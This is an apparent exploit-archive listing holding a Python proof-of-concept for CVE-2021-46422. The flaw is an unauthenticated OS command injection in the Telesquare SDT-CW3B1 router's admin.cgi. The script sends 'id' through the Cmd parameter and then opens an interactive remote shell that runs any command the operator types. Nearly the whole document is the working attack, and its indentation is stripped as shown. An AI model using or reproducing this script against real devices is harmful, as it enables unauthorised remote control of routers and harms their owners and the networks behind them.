Exploit for Telesquare SDT-CW3B1 1.1.0 Command Injection CVE-2021-46422

## https://sploitus.com/exploit?id=PACKETSTORM:167387
#!/usr/bin/python3   
  
# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection  
# Date: 24th May 2022  
# Exploit Author: Bryan Leong <NobodyAtall>  
# Vendor Homepage: http://telesquare.co.kr/  
# CVE : CVE-2021-46422  
# Authentication Required: No  
  
import requests   
import argparse   
import sys  
from xml.etree import ElementTree  
  
def sysArgument():  
ap = argparse.ArgumentParser()  
ap.add_argument("--host", required=True, help="target hostname/IP")   
args = vars(ap.parse_args())  
return args['host']  
  
def checkHost(host):  
url = "http://" + host  
  
print("[*] Checking host is it alive?")  
  
try:  
rsl = requests.get(url)   
print("[*] The host is alive.")  
except requests.exceptions.Timeout as err:  
raise SystemExit(err)  
  
def exploit(host):  
url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd="   
  
#checking does the CGI exists?  
rsl = requests.get(url)  
  
if(rsl.status_code == 200):  
print("[*] CGI script exist!")  
print("[*] Injecting some shell command.")  
  
#1st test injecting id command  
cmd = "id"  
  
try:  
rsl = requests.get(url + cmd, stream=True)  
xmlparser = ElementTree.iterparse(rsl.raw)  
  
cmdRet = []  
  
for event, elem in xmlparser:  
if(elem.tag == 'CmdResult'):  
cmdRet.append(elem.text)  
except:  
print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")  
sys.exit(0)  
  
if(len(cmdRet) != 0):  
print("[*] There's response from the CGI script!")  
print('[*] System ID: ' + cmdRet[0].strip())  
  
print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")  
#start shell iteration  
while(True):  
cmdInput = input("[SDT-CW3B1 Shell]# ")  
  
if(cmdInput == ".exit"):  
print("[*] Exiting shell.")  
sys.exit(0)  
  
rsl = requests.get(url + cmdInput, stream=True)  
xmlparser = ElementTree.iterparse(rsl.raw)  
  
  
for event, elem in xmlparser:  
if(elem.tag == 'CmdResult'):  
print(elem.text.strip())  
  
print('\n')  
  
else:  
print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")  
sys.exit(0)  
  
else:  
print("[!] CGI script not found.")  
print(rsl.status_code)  
sys.exit(0)  
  
def main():  
host = sysArgument()  
  
checkHost(host)  
exploit(host)  
  
if __name__ == "__main__":  
main()